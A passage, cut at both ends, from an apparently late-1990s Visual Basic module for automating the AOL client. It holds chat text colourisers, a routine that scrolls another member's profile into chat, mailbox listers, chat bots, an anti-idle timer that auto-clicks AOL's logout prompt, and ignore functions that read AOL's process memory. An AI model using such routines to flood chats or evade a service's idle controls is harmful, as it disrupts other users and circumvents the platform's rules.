Mid(mail$, l, 1) If c$ = Chr(9) Then Let c$ = "" Exit For End If News2$ = News2$ & c$ Next l If Len(News2$) > 10 Then setit = SendMessage(tree%, LB_SETCURSEL, I, 0&) deleteit = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&) deleteit = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&) coun% = coun% - 1 End If News2$ = "" Next I Next safety End Function Function Modal_Static() Modal% = FindWindow("_AOL_Modal", vbNullString) stat% = FindChildByClass(Modal%, "_AOL_Static") SendNum = SendMessageByNum(stat%, 14, 0&, 0&) Trimit$ = Space$(SendNum) last = SendMessageByString(stat%, 13, SendNum + 1, Trimit$) Modal_Static = Trimit$ End Function Function RandomColorCode() num = Array("C", "1", "2", "3", "4", "5", "6", "7", "8", "9", "A", "B", "C", "D", "E", "F") CCode = "#" & num(Int(16 * Rnd)) & num(Int(16 * Rnd)) & num(Int(16 * Rnd)) & num(Int(16 * Rnd)) & num(Int(16 * Rnd)) & num(Int(16 * Rnd)) RandomColorCode = CCode End Function Sub PlayWav(file) 'ex: Playwav ("evi.wav") SoundName$ = file wflags% = SND_ASYNC Or SND_NODEFAULT X% = sndPlaySound(SoundName$, wflags%) End Sub Function RunMenuByChar(IconNum As Integer, Letter As String) 'itll work , if you wanna use it take the icon number 'and subtract one so if its the 9'th icon use 8 aol% = FindWindow("AOL Frame25", vbNullString) tool% = FindChildByClass(aol%, "AOL Toolbar") toolb% = FindChildByClass(tool%, "_AOL_Toolbar") Icona% = FindChildByClass(toolb%, "_AOL_Icon") For I = 1 To IconNum Icona% = GetWindow(Icona%, GW_HWNDNEXT) Next I DoEvents Chng$ = CharToChr(Letter) SendLetter = SendMessageByString(Icona%, WM_CHAR, Chng$, 0&) End Function Function ScrollProfile(SName As String) On Error Resume Next Dim n As Integer numB% = FindWindow("#32770", vbNullString) Prof$ = getprofile(SName) TimeOut (0.3) Call ErrorRsenD("Now scrolling " & SName & "'s Profile") TimeOut (0.5) For X = 1 To Len(Prof$) I$ = Mid(Prof$, X, 1) If I$ = Chr(10) Then For O = 1 To Len(Lne$) j$ = Mid(Lne$, O, 1) If j$ = Chr(9) Then Exit For End If fnt$ = fnt$ & j$ Next O Wat$ = Mid(Lne$, O, Len(Lne$)) If Len(Wat$) > 92 Then Half$ = Mid(Wat$, 1, 92) Call SendChat(Half$) Else Call SendChat(Wat$) End If Lne$ = "": fnt$ = "" TimeOut (0.5) End If Lne$ = Lne$ & I$ If numB% <> 0 Then closeit = SendMessage(numB%, WM_CLOSE, 0, 0&) End If Next X End Function Function ScrollProfile2(SName As String) 'this one makes the Member Name: and catagories in blue 'looks a lot better but if the text is too long 'itll stop On Error Resume Next Dim n As Integer numB% = FindWindow("#32770", vbNullString) Prof$ = getprofile(SName) Wait (0.3) Call ErrorRsenD("<font face=aria></b></i><Font Color=#FF0000>[<u>Now Scrolling " + SName + "'s Profie</font>") Wait (0.5) For X = 1 To Len(Prof$) I$ = Mid(Prof$, X, 1) If I$ = Chr(10) Then For O = 1 To Len(Lne$) j$ = Mid(Lne$, O, 1) If j$ = Chr(9) Then Exit For End If fnt$ = fnt$ & j$ Next O Wat$ = "<font color=" & Chr(34) & "#0000FF" & Chr(34) & ">" & fnt$ & "<font color=" & Chr(34) & "#000000" & Chr(34) & ">" & Mid(Lne$, O, Len(Lne$)) If Len(Wat$) > 170 Then Half$ = Mid(Wat$, 1, 170) Call ErrorRsenD(Half$) Else Call ErrorRsenD(Wat$) End If Lne$ = "": fnt$ = "" Wait (0.5) End If Lne$ = Lne$ & I$ If numB% <> 0 Then closeit = SendMessage(numB%, WM_CLOSE, 0, 0&) End If Next X End Function Function Advertise1() 'just another adv 'this one is for ErrorR-Com Call SendChat("<b><FONT FACE=" & Chr$(34) & "Wingdings" & Chr$(34) & ">i<FONT FACE=" & Chr$(34) & "arial" & Chr$(34) & "><Font Color=#D40000><b>Punished AoL") Call SendChat("<b><FONT FACE=" & Chr$(34) & "Wingdings" & Chr$(34) & ">i<FONT FACE=" & Chr$(34) & "arial" & Chr$(34) & "><Font Color=#D40000><b>Abuser: " + UserSN) End Function Function Server_ListNew(lis As ListBox) Dim Ind As Integer Call Mail_OpenNew2 Do: DoEvents aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") TIT% = findchildbytitle(mdi%, " Online Mailbox") Tab1% = FindChildByClass(TIT%, "_AOL_TabControl") Tab2% = FindChildByClass(Tab1%, "_AOL_TabPage") tree% = FindChildByClass(Tab2%, "_AOL_Tree") If TIT% <> 0 And tree% <> 0 Then Exit Do Loop coun% = SendMessage(tree%, LB_GETCOUNT, 0, 0&) Ind = lis.ListCount For I = 0 To coun% - 1 lent% = SendMessage(tree%, LB_GETTEXTLEN, I, 0&) mail$ = String(lent% + 1, 0) Call SendMessageByString(tree%, LB_GETTEXT, I, mail$) For X = 1 To Len(mail$) l$ = Mid(mail$, X, 1) NoName$ = NoName$ & l$ If l$ = Chr(9) Then Let l$ = "": NoName$ = "" End If Next X Ind = Val(Ind) + 1 lis.AddItem Ind & ".) " & NoName$ Next I minit = ShowWindow(TIT%, SW_MINIMIZE) End Function Function Server_ListOld(lis As ListBox) Dim Ind As Integer Call Mail_OpenOld2 Do: DoEvents aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") TIT% = findchildbytitle(mdi%, " Online Mailbox") Tab1% = FindChildByClass(TIT%, "_AOL_TabControl") Tab2% = FindChildByClass(Tab1%, "_AOL_TabPage") Tab2% = GetWindow(Tab2%, GW_HWNDNEXT) tree% = FindChildByClass(Tab2%, "_AOL_Tree") If TIT% <> 0 And tree% <> 0 Then Exit Do Loop coun% = SendMessage(tree%, LB_GETCOUNT, 0, 0&) Ind = lis.ListCount For I = 0 To coun% - 1 lent% = SendMessage(tree%, LB_GETTEXTLEN, I, 0&) mail$ = String(lent% + 1, 0) Call SendMessageByString(tree%, LB_GETTEXT, I, mail$) For X = 1 To Len(mail$) l$ = Mid(mail$, X, 1) NoName$ = NoName$ & l$ If l$ = Chr(9) Then Let l$ = "": NoName$ = "" End If Next X Ind = Val(Ind) + 1 lis.AddItem Ind & ".) " & NoName$ Next I minit = ShowWindow(TIT%, SW_MINIMIZE) End Function Function Server_ListSent(lis As ListBox) Dim Ind As Integer Call Mail_OpenSent2 Wait (1) Do: DoEvents aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") TIT% = findchildbytitle(mdi%, " Online Mailbox") Tab1% = FindChildByClass(TIT%, "_AOL_TabControl") Tab2% = FindChildByClass(Tab1%, "_AOL_TabPage") Tab2% = GetWindow(Tab2%, GW_HWNDNEXT) Tab2% = GetWindow(Tab2%, GW_HWNDNEXT) tree% = FindChildByClass(Tab2%, "_AOL_Tree") If TIT% <> 0 And tree% <> 0 Then Exit Do Loop Do: DoEvents NewC = coun% coun% = SendMessage(tree%, LB_GETCOUNT, 0, 0&) If coun% = NewC Then Exit Do Loop Ind = lis.ListCount For I = 0 To coun% - 1 lent% = SendMessage(tree%, LB_GETTEXTLEN, I, 0&) mail$ = String(lent% + 1, 0) Call SendMessageByString(tree%, LB_GETTEXT, I, mail$) For X = 1 To Len(mail$) l$ = Mid(mail$, X, 1) NoName$ = NoName$ & l$ If l$ = Chr(9) Then Let l$ = "": NoName$ = "" End If Next X Ind = Val(Ind) + 1 lis.AddItem Ind & ".) " & NoName$ Next I minit = ShowWindow(TIT%, SW_MINIMIZE) End Function Function FocusSet(win) setit = SetFocusAPI(win) End Function Function Text_American(strin As String) 'red white an blue text *not faded* 'heheh the crackerz coller For X = 1 To Len(strin) Step 3 l$ = Mid(strin, X, 1) l2$ = Mid(strin, X + 1, 1) l3$ = Mid(strin, X + 2, 1) one$ = "<Font Color=" & Chr(34) & "#FF0000" & Chr(34) & ">" two$ = "<Font Color=" & Chr(34) & "#CCCCCC" & Chr(34) & ">" Tre$ = "<Font Color=" & Chr(34) & "#0000FF" & Chr(34) & ">" clr$ = clr$ & one$ & l$ & two$ & l2$ & Tre$ & l3$ Next X Call ErrorRsenD(clr$) End Function Function Text_Custom(strin As String, Letter As String) 'same as Text_Dash and Period but you 'tell it which letter to use For I = 1 To Len(strin) l$ = Mid(strin, I, 1) l2$ = Mid(strin, I + 1, 1) If l$ = " " Then Dsh$ = Dsh$ & l$ ElseIf l2$ <> " " Then Dsh$ = Dsh$ & l$ & Letter Else Dsh$ = Dsh$ & l$ End If Next I Text_Custom = Dsh$ End Function Function Text_Dash(strin As String) 'puts a dash in between every letter For I = 1 To Len(strin) l$ = Mid(strin, I, 1) l2$ = Mid(strin, I + 1, 1) If l$ = " " Then Dsh$ = Dsh$ & l$ ElseIf l2$ <> " " Then Dsh$ = Dsh$ & l$ & "-" Else Dsh$ = Dsh$ & l$ End If Next I Text_Dash = Dsh$ End Function Function Text_GreenRed(strin As String) 'green an white text *all color texts aren't fades* For X = 1 To Len(strin) Step 2 l$ = Mid(strin, X, 1) l2$ = Mid(strin, X + 1, 1) one$ = "<Font Color=" & Chr(34) & "#FF0000" & Chr(34) & ">" two$ = "<Font Color=" & Chr(34) & "#00FF00" & Chr(34) & ">" clr$ = clr$ & one$ & l$ & two$ & l2$ Next X Call ErrorRsenD(clr$) End Function Function Text_BlueBlack(strin As String) 'these are not fades For X = 1 To Len(strin) Step 2 l$ = Mid(strin, X, 1) l2$ = Mid(strin, X + 1, 1) one$ = "<Font Color=" & Chr(34) & "#0000FF" & Chr(34) & ">" two$ = "<Font Color=" & Chr(34) & "#000000" & Chr(34) & ">" clr$ = clr$ & one$ & l$ & two$ & l2$ Next X Call ErrorRsenD(clr$) End Function Function Text_Period(strin As String) For I = 1 To Len(strin) l$ = Mid(strin, I, 1) l2$ = Mid(strin, I + 1, 1) If l$ = " " Then Pd$ = Pd$ & l$ ElseIf l2$ <> " " Then Pd$ = Pd$ & l$ & "." Else Pd$ = Pd$ & l$ End If Next I Text_Period = Pd$ End Function Function Text_RandomRainbow(strin As String) 'creates rainbow text in random order and random colors For X = 1 To Len(strin) l$ = Mid(strin, X, 1) one$ = "<Font Color=" & Chr(34) & RandomColorCode & Chr(34) & ">" clr$ = clr$ & one$ & l$ Next X Call ErrorRsenD(clr$) End Function Function ClipBoardCopy(txt As String) Clipboard.SetText txt End Function Function ClipBoardGetText() 'gets text from clipboard to paste use this: 'text1.text = text1.text & ClipBoardGetText txt$ = Clipboard.GetText ClipBoardGetText = txt$ End Function Function TextBoxSelectedText(txt As TextBox) 'returns the text thats highlighted in a textbox ST$ = txt.SelText TextBoxSelectedText = ST$ End Function Function TextBoxTypewriter(Wat As String, txt As TextBox) 'makes text "type" up 'this is a alright sub if you dont know qbasic coding for labels 'really eazy but this is just a shortcut For I = 1 To Len(Wat) l$ = Mid(Wat, 1, I) txt.Text = l$ Wait (0.2) Next I End Function Function TextBoxFastTypewriter(Wat As String, txt As TextBox) 'makes text "type" up faster For I = 1 To Len(Wat) l$ = Mid(Wat, 1, I) txt.Text = l$ Wait (0.1) Next I End Function Function LabelTypewriter(Wat As String, Lab As Label) 'makes text "type" up For I = 1 To Len(Wat) l$ = Mid(Wat, 1, I) Lab.Caption = l$ Wait (0.2) Next I End Function Function LabelFastTypewriter(Wat As String, Lab As Label) 'makes text "type" up faster For I = 1 To Len(Wat) l$ = Mid(Wat, 1, I) Lab.Caption = l$ Wait (0.1) Next I End Function Function aolUnUpchat() Moda% = FindWindow("_AOL_Modal", vbNullString) stat = InStr(Modal_Static, "Now Uploading") If Moda% <> 0 And stat <> 0 Then hideit = ShowWindow(Moda%, SW_SHOW) minit = ShowWindow(Moda%, SW_RESTORE) End If End Function Function UserSN() On Error Resume Next aol% = FindWindow("AOL Frame25", "America Online") mdi% = FindChildByClass(aol%, "MDIClient") welcome% = findchildbytitle(mdi%, "Welcome, ") WelcomeLength% = GetWindowTextLength(welcome%) WelcomeTitle$ = String$(200, 0) a% = GetWindowText(welcome%, WelcomeTitle$, (WelcomeLength% + 1)) User = Mid$(WelcomeTitle$, 10, (InStr(WelcomeTitle$, "!") - 10)) UserSN = User End Function Function aolupchat() Moda% = FindWindow("_AOL_Modal", vbNullString) stat = InStr(Modal_Static, "Now Uploading") If Moda% <> 0 And stat <> 0 Then hideit = ShowWindow(Moda%, SW_HIDE) minit = ShowWindow(Moda%, SW_MINIMIZE) End If Call AOL_SetFocus End Function Function AOL4_UpChat() 'this is an upchat that minimizes the 'upload window die% = FindWindow("_AOL_MODAL", vbNullString) X = ShowWindow(die%, SW_HIDE) X = ShowWindow(die%, SW_MINIMIZE) Call Aol4_SetFocus End Function Sub AOL4_UnUpChat() die% = FindWindow("_AOL_MODAL", vbNullString) X = ShowWindow(die%, SW_RESTORE) Call Aol4_SetFocus End Sub Sub Anti45MinTimer() 'use this sub in a timer set at 100 AOTimer% = FindWindow("_AOL_Palette", vbNullString) AOIcon% = FindChildByClass(AOTimer%, "_AOL_Icon") ClickIcon (AOIcon%) End Sub Function meeh_DeEncrypt(strin As String) Let inptxt$ = strin Let lenth% = Len(inptxt$) Do While NumSpc% <= lenth% Let NumSpc% = NumSpc% + 1 Let NextChr$ = Mid$(inptxt$, NumSpc%, 1) If NextChr$ = "Ü" Then Let NextChr$ = "A" If NextChr$ = "£" Then Let NextChr$ = "B" If NextChr$ = "ó" Then Let NextChr$ = "C" If NextChr$ = "ñ" Then Let NextChr$ = "D" If NextChr$ = "▒" Then Let NextChr$ = "E" If NextChr$ = "░" Then Let NextChr$ = "F" If NextChr$ = "▓" Then Let NextChr$ = "G" If NextChr$ = "│" Then Let NextChr$ = "H" If NextChr$ = "╡" Then Let NextChr$ = "I" If NextChr$ = "¬" Then Let NextChr$ = "J" If NextChr$ = "╣" Then Let NextChr$ = "K" If NextChr$ = "║" Then Let NextChr$ = "L" If NextChr$ = "ƒ" Then Let NextChr$ = "M" If NextChr$ = "φ" Then Let NextChr$ = "N" If NextChr$ = "ε" Then Let NextChr$ = "O" If NextChr$ = "∩" Then Let NextChr$ = "P" If NextChr$ = "≡" Then Let NextChr$ = "Q" If NextChr$ = "±" Then Let NextChr$ = "R" If NextChr$ = "≥" Then Let NextChr$ = "S" If NextChr$ = "≤" Then Let NextChr$ = "T" If NextChr$ = "⌠" Then Let NextChr$ = "U" If NextChr$ = "⌡" Then Let NextChr$ = "V" If NextChr$ = "÷" Then Let NextChr$ = "W" If NextChr$ = "°" Then Let NextChr$ = "X" If NextChr$ = "∙" Then Let NextChr$ = "Y" If NextChr$ = "·" Then Let NextChr$ = "Z" If NextChr$ = " " Then Let NextChr$ = " " If NextChr$ = "'" Then Let NextChr$ = "a" If NextChr$ = "√" Then Let NextChr$ = "b" If NextChr$ = "ⁿ" Then Let NextChr$ = "c" If NextChr$ = "²" Then Let NextChr$ = "d" If NextChr$ = "■" Then Let NextChr$ = "e" If NextChr$ = "╞" Then Let NextChr$ = "f" If NextChr$ = "╟" Then Let NextChr$ = "g" If NextChr$ = "╠" Then Let NextChr$ = "h" If NextChr$ = "═" Then Let NextChr$ = "i" If NextChr$ = "╬" Then Let NextChr$ = "j" If NextChr$ = "╧" Then Let NextChr$ = "k" If NextChr$ = "╪" Then Let NextChr$ = "l" If NextChr$ = "▐" Then Let NextChr$ = "m" If NextChr$ = "▀" Then Let NextChr$ = "n" If NextChr$ = "å" Then Let NextChr$ = "o" If NextChr$ = "â" Then Let NextChr$ = "p" If NextChr$ = "î" Then Let NextChr$ = "q" If NextChr$ = "è" Then Let NextChr$ = "r" If NextChr$ = "ç" Then Let NextChr$ = "s" If NextChr$ = "í" Then Let NextChr$ = "t" If NextChr$ = "ú" Then Let NextChr$ = "u" If NextChr$ = "º" Then Let NextChr$ = "v" If NextChr$ = "∞" Then Let NextChr$ = "w" If NextChr$ = "δ" Then Let NextChr$ = "x" If NextChr$ = "Ω" Then Let NextChr$ = "y" If NextChr$ = "Θ" Then Let NextChr$ = "z" If NextChr$ = "Φ" Then Let NextChr$ = "1" If NextChr$ = "τ" Then Let NextChr$ = "2" If NextChr$ = "µ" Then Let NextChr$ = "3" If NextChr$ = "ß" Then Let NextChr$ = "4" If NextChr$ = "σ" Then Let NextChr$ = "5" If NextChr$ = "Γ" Then Let NextChr$ = "6" If NextChr$ = "π" Then Let NextChr$ = "7" If NextChr$ = "Σ" Then Let NextChr$ = "8" If NextChr$ = "α" Then Let NextChr$ = "9" If NextChr$ = "╫" Then Let NextChr$ = "0" Let NewSent$ = NewSent$ + NextChr$ Loop meeh_DeEncrypt = NewSent$ End Function Function WaitForInRoom() Do: DoEvents If InRoom = True Then Exit Do Loop End Function Function WaitForMenu() Do: DoEvents Drp% = FindWindow("#32768", vbNullString) win% = IsWindowVisible(Drp%) Loop Until win% = 1 End Function Function Window_Hide(WinHandle) hideit = ShowWindow(WinHandle, SW_HIDE) End Function Function Window_Show(WinHandle) hideit = ShowWindow(WinHandle, SW_SHOW) End Function Function Window_Close(WinHandle) closeit = SendMessage(WinHandle, WM_CLOSE, 0, 0&) End Function Function Windows_GetUser() 'returns the name of the user in windows Dim Spcs As String Dim lent As Long Spcs = Space$(255) lent = Len(Spcs) Call GetUserName(Spcs, lent) If lent > 0 Then Windows_GetUser = Left$(Spcs, lent) Else Windows_GetUser = vbNullString End If End Function Function RunExe(PathName As String, WinStyle As Integer) 'runs an exe 'WinStyle constants are: '0 Window is hidden and focus is passed to the hidden window. '1 Window has focus and is restored to its original size and position. '2 Window is displayed as an icon with focus. '3 Window is maximized with focus. '4 Window is restored to its most recent size and position. The currently active window remains active. '6 Window is displayed as an icon. The currently active window remains active. X = Shell(PathName, WinStyle) End Function Function Bot_Echo(Who As String) 'put this in a timer If LCase(Who) = LCase(UserSN) Then Exit Function End If txt$ = LastChatLine pers$ = LCase(LastChatLineWithSN) If pers$ = LCase(Who) Then Sen$ = txt$ Call ErrorRsenD(Sen$) Wait (0.5) End If End Function Function Bot_MMer(lis As ListBox, Key As String, Ascii As String) 'put this in a timer it works good unless your 'computer is lagging and it takes longer to send chat 'keep this in mind you can set the timer to an 'interval of 1 but it will write the response 3 times if your 'lagging 'example.. write the advertise then start the timer( timer1.enabled = true) 'then in the timer....-- Call Bot_MMer(list1,"/add me","-->>") 'just add the word you want it to respond too and add your ascii Nam$ = LastLineSN txt$ = LCase(LastLineText) If txt$ = Key Then got$ = Nam$ For I = 0 To lis.ListCount element$ = lis.List(I) If element$ = got$ Then Call SendChat(Ascii & got$ & " you've already been added") Wait (0.5) Exit Function End If Next I lis.AddItem got$ Call SendChat(Ascii & got$ & " You've been added to list [" & lis.ListCount & "]") Wait (0.5) End If End Function Function ToImKill() 'kills the im that comes up when you im someone aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") TIT% = findchildbytitle(mdi%, " Instant Message To:") If TIT% <> 0 Then closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&) End If End Function Function FindChildByClass(Parent, child As String) As Integer childfocus% = GetWindow(Parent, 5) While childfocus% buffer$ = String$(250, 0) classbuffer% = GetClassName(childfocus%, buffer$, 250) If InStr(UCase(buffer$), UCase(child)) Then FindChildByClass = childfocus%: Exit Function childfocus% = GetWindow(childfocus%, 2) Wend End Function Function findchildbytitle(Parent, child As String) As Integer childfocus% = GetWindow(Parent, 5) While childfocus% hwndLength% = GetWindowTextLength(childfocus%) buffer$ = String$(hwndLength%, 0) WindowText% = GetWindowText(childfocus%, buffer$, (hwndLength% + 1)) If InStr(UCase(buffer$), UCase(child)) Then findchildbytitle = childfocus%: Exit Function childfocus% = GetWindow(childfocus%, 2) Wend End Function Function FreeProcess() 'this will free up the comp, ie. if 'your comp is runnin slow this will help Do: DoEvents proc = proc + 1 If proc = 50 Then Exit Do Loop End Function Sub List_RemoveName(lis As ListBox, Nam As String) 'Removes a name or item from a listbox For I = 0 To lis.ListCount Item$ = lis.List(I) If Item$ = Nam Then lis.RemoveItem I End If Next I End Sub Function AOL30_ChatNow() aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") Welc% = findchildbytitle(mdi%, "Welcome, ") Icona% = FindChildByClass(Welc%, "_AOL_Icon") Icon2% = GetWindow(Icona%, GW_HWNDNEXT) Icon2% = GetWindow(Icon2%, GW_HWNDNEXT) Icon2% = GetWindow(Icon2%, GW_HWNDNEXT) Icon2% = GetWindow(Icon2%, GW_HWNDNEXT) clickit = SendMessage(Icon2%, WM_LBUTTONDOWN, 0, 0&) clickit = SendMessage(Icon2%, WM_LBUTTONUP, 0, 0&) Do: DoEvents peopl% = findchildbytitle(mdi%, "People Connection") If peopl% <> 0 Then Exit Do Loop iconb% = FindChildByClass(peopl%, "_AOL_Icon") Icon3% = GetWindow(iconb%, GW_HWNDNEXT) Icon3% = GetWindow(Icon3%, GW_HWNDNEXT) clickit = SendMessage(Icon3%, WM_LBUTTONDOWN, 0, 0&) clickit = SendMessage(Icon3%, WM_LBUTTONUP, 0, 0&) End Function Sub AddRoom(ListBox As ListBox) On Error Resume Next Dim AProc As Long Dim Holdit As Long Dim Person As String Dim Holdthem As Long Dim Howmnybts As Long Dim Chil%, Rich% Chil% = FindChat Rich% = FindChildByClass(Chil%, "RICHCNTL") lis% = FindChildByClass(Chil%, "_AOL_Listbox") aolhandle = lis% AOLThread = GetWindowThreadProcessId(lis%, AProc) AOLProcessThread = OpenProcess(PROCESS_VM_READ Or STANDARD_RIGHTS_REQUIRED, False, AProc) If AOLProcessThread Then For I = 0 To SendMessage(aolhandle, LB_GETCOUNT, 0, 0) - 1 Person$ = String$(4, vbNullChar) Holdit = SendMessage(aolhandle, LB_GETITEMDATA, ByVal CLng(I), ByVal 0&) Holdit = Holdit + 24 Call ReadProcessMemory(AOLProcessThread, Holdit, Person$, 4, Howmnybts) Call RtlMoveMemory(Holdthem, ByVal Person$, 4) Holdthem = Holdthem + 6 Person$ = String$(16, vbNullChar) Call ReadProcessMemory(AOLProcessThread, Holdthem, Person$, Len(Person$), Howmnybts) Person$ = Left$(Person$, InStr(Person$, vbNullChar) - 1) If Person$ = GetUserSn Then GoTo Skip ListBox.AddItem Person$ Skip: Next I Call CloseHandle(AOLProcessThread) End If End Sub Sub ChatIgnore(name As String) On Error Resume Next Dim AProc As Long Dim Holdit As Long Dim Person As String Dim Holdthem As Long Dim Howmnybts As Long Dim Chil%, Rich% aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") Chil% = FindChat Rich% = FindChildByClass(Chil%, "RICHCNTL") lis% = FindChildByClass(Chil%, "_AOL_Listbox") AOLThread = GetWindowThreadProcessId(lis%, AProc) AOLProcessThread = OpenProcess(PROCESS_VM_READ Or STANDARD_RIGHTS_REQUIRED, False, AProc) If AOLProcessThread Then For I = 0 To SendMessage(lis%, LB_GETCOUNT, 0, 0) - 1 Person$ = String$(4, vbNullChar) Holdit = SendMessage(lis%, LB_GETITEMDATA, ByVal CLng(I), ByVal 0&) Holdit = Holdit + 24 Call ReadProcessMemory(AOLProcessThread, Holdit, Person$, 4, Howmnybts) Call RtlMoveMemory(Holdthem, ByVal Person$, 4) Holdthem = Holdthem + 6 Person$ = String$(16, vbNullChar) Call ReadProcessMemory(AOLProcessThread, Holdthem, Person$, Len(Person$), Howmnybts) Person$ = Left$(Person$, InStr(Person$, vbNullChar) - 1) If LCase(Person$) = LCase(name) Then clickem = SendMessage(lis%, LB_SETCURSEL, I, 0&) DBclickit = SendMessage(lis%, WM_LBUTTONDBLCLK, 0, 0&) Do: DoEvents TIT% = findchildbytitle(mdi%, Person$) Chk% = FindChildByClass(TIT%, "_AOL_Checkbox") If TIT% <> 0 And Chk% <> 0 Then Exit Do Loop Do: DoEvents clickit = SendMessage(Chk%, WM_LBUTTONDOWN, 0, 0&) clickit = SendMessage(Chk%, WM_LBUTTONUP, 0, 0&) GetIt% = SendMessage(Chk%, BM_GETCHECK, 0, 0&) If GetIt% = 1 Then Exit Do Loop closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&) Exit Sub End If Next I Call CloseHandle(AOLProcessThread) End If End Sub Sub ChatIgnore2(InsName As String) ' this method will look for a name matching the 'one you specify, ex: if a person with name 'user123 is in the room type 123 and itll ignore him 'try not to put one or two characters only On Error Resume Next Dim AProc As Long Dim Holdit As Long Dim Person As String Dim Holdthem As Long Dim Howmnybts As Long Dim Chil%, Rich%, lis% aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") Chil% = FindChat Rich% = FindChildByClass(Chil%, "RICHCNTL") lis% = FindChildByClass(Chil%, "_AOL_Listbox") AOLThread = GetWindowThreadProcessId(lis%, AProc) AOLProcessThread = OpenProcess(PROCESS_VM_READ Or STANDARD_RIGHTS_REQUIRED, False, AProc) If AOLProcessThread Then For I = 0 To SendMessage(lis%, LB_GETCOUNT, 0, 0) - 1 Person$ = String$(4, vbNullChar) Holdit = SendMessage(lis%, LB_GETITEMDATA, ByVal CLng(I), ByVal 0&) Holdit = Holdit + 24 Call ReadProcessMemory(AOLProcessThread, Holdit, Person$, 4, Howmnybts) Call RtlMoveMemory(Holdthem, ByVal Person$, 4) Holdthem = Holdthem + 6 Person$ = String$(16, vbNullChar) Call ReadProcessMemory(AOLProcessThread, Holdthem, Person$, Len(Person$), Howmnybts) Person$ = Left$(Person$, InStr(Person$, vbNullChar) - 1) If InStr(LCase(Person$), LCase(InsName)) <> 0 Then clickem = SendMessage(lis%, LB_SETCURSEL, I, 0&) DBclickit = SendMessage(lis%, WM_LBUTTONDBLCLK, 0, 0&) Do: DoEvents TIT% = findchildbytitle(mdi%, Person$) Chk% = FindChildByClass(TIT%, "_AOL_Checkbox") If TIT% <> 0 And Chk% <> 0 Then Exit Do Loop Do: DoEvents clickit = SendMessage(Chk%, WM_LBUTTONDOWN, 0, 0&) clickit = SendMessage(Chk%, WM_LBUTTONUP, 0, 0&) GetIt% = SendMessage(Chk%, BM_GETCHECK, 0, 0&) If GetIt% = 1 Then Exit Do Loop closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&) Exit For End If Next I Call CloseHandle(AOLProcessThread) Wait (0.3) DoEvents If InStr(LCase(Person$), LCase(InsName)) <> 0 Then Call ErrorRsenD("<Font Color=#FF0000><font face=arial></b>[<u>ANTARA X'er</font>") TimeOut 0.8 Call ErrorRsenD("<Font Color=#FF0000><font face=arial></b>[<u>Gi<s>ZZ</s>mo</font>") TimeOut 0.7 Call ErrorRsenD("<Font Color=#FF0000><font face=arial></b>[<u>" & Person$ & " ignored.</font>") Else Call ErrorRsenD("<Font Color=#FF0000><font face=arial></b>[<u>ANTARA X'er</font>") TimeOut 0.8 Call ErrorRsenD("<Font Color=#FF0000><font face=arial></b>[<u>Gi<s>ZZ</s>mo</font>") TimeOut 0.7 Call ErrorRsenD("<Font Color=#FF0000><font face=arial></b>[<u>" & LCase(InsName) & " not found in chat</font>") End If Edi% = FindChatEdit makesure = SendMessageByNum(Edi%, 13, 0, 0&) End If End Sub Sub ChatUnIgnore(name As String) On Error Resume Next Dim AProc As Long Dim Holdit As Long Dim Person As String Dim Holdthem As Long Dim Howmnybts As Long Dim Chil%, Rich% aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") Chil% = FindChat Rich% = FindChildByClass(Chil%, "RICHCNTL") lis% = FindChildByClass(Chil%, "_AOL_Listbox") AOLThread = GetWindowThreadProcessId(lis%, AProc) AOLProcessThread = OpenProcess(PROCESS_VM_READ Or STANDARD_RIGHTS_REQUIRED, False, AProc) If AOLProcessThread Then For I = 0 To SendMessage(lis%, LB_GETCOUNT, 0, 0) - 1 Person$ = String$(4, vbNullChar) Holdit = SendMessage(lis%, LB_GETITEMDATA, ByVal CLng(I), ByVal 0&) Holdit = Holdit + 24 Call ReadProcessMemory(AOLProcessThread, Holdit, Person$, 4, Howmnybts) Call RtlMoveMemory(Holdthem, ByVal Person$, 4) Holdthem = Holdthem + 6 Person$ = String$(16, vbNullChar) Call ReadProcessMemory(AOLProcessThread, Holdthem, Person$, Len(Person$), Howmnybts) Person$ = Left$(Person$, InStr(Person$, vbNullChar) - 1) If LCase(Person$) = LCase(name) Then clickem = SendMessage(lis%, LB_SETCURSEL, I, 0&) DBclickit = SendMessage(lis%, WM_LBUTTONDBLCLK, 0, 0&) Do: DoEvents TIT% = findchildbytitle(mdi%, Person$) Chk% = FindChildByClass(TIT%, "_AOL_Checkbox") If TIT% <> 0 And Chk% <> 0 Then Exit Do Loop Do: DoEvents clickit = SendMessage(Chk%, WM_LBUTTONDOWN, 0, 0&) clickit = SendMessage(Chk%, WM_LBUTTONUP, 0, 0&) GetIt% = SendMessage(Chk%, BM_GETCHECK, 0&, 0&) If GetIt% = 0 Then Exit Do Loop closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&) Exit Sub End If Next I End If End Sub Function AOL30_LastChatLine() aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") Chil% = FindChildByClass(mdi%, "AOL Child") View% = FindChildByClass(Chil%, "_AOL_View") lis% = FindChildByClass(Chil%, "_AOL_Listbox") Edi% = FindChildByClass(Chil%, "_AOL_Edit") If View% <> 0 And lis% <> 0 And Edi% <> 0 Then SendNum = SendMessageByNum(View%, 14, 0&, 0&) Trimit$ = Space$(SendNum) last = SendMessageByString(View%, 13, SendNum + 1, Trimit$) Richcntl$ = Trimit$ X$ = Richcntl$ For I = 1 To Len(X$) one$ = Mid(X$, I, 1) LastLine$ = LastLine$ & one$ If one$ = Chr(13) Then Let LastLine$ = "" Next I Final$ = Mid(LastLine$, 2, Len(LastLine$)) AOL30_LastChatLine = Final$ End If End Function Function ImAutoRespond(Message As String) 'put this in a 